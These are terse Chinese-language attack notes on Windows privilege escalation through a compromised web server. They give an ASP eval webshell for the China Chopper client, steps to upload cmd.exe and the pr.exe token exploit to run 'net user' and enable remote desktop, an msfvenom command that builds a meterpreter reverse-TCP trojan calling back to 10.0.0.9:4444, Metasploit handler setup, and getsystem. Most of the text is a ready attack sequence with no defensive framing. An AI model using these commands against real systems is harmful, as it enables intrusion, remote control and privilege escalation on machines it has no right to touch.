windows提权

菜刀
<%eval request("test")%>
运行脚本asp
查目录权限
上传cmd.exe
setp c:\wmpub\cmd.exe
运行systeminfo
上传systeminfo.exe
巴西烤肉
上传 pr.exe
pr.exe "net user"
上传3389.exe
pr.exe "3389.exe"
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.9 lport=4444 -f exe -o
hack.exe
上传木马
kali msf监听 木马
输入命令设置本地监听，具体命令如下：
启动msf：msfconsole
选择监听模块：use exploit/multi/handler
设置参数：set payload windows/meterpreter/reverse_tcp
设置监听IP（注意IP地址是本地kali机器的IP地址）：set lhost 10.0.0.9
设置监听端口：set lport 4444
开始监听：run
目标运行木马
kali目标上线
常规提取
getuid getsystem

search 漏洞，show options
设置参数，run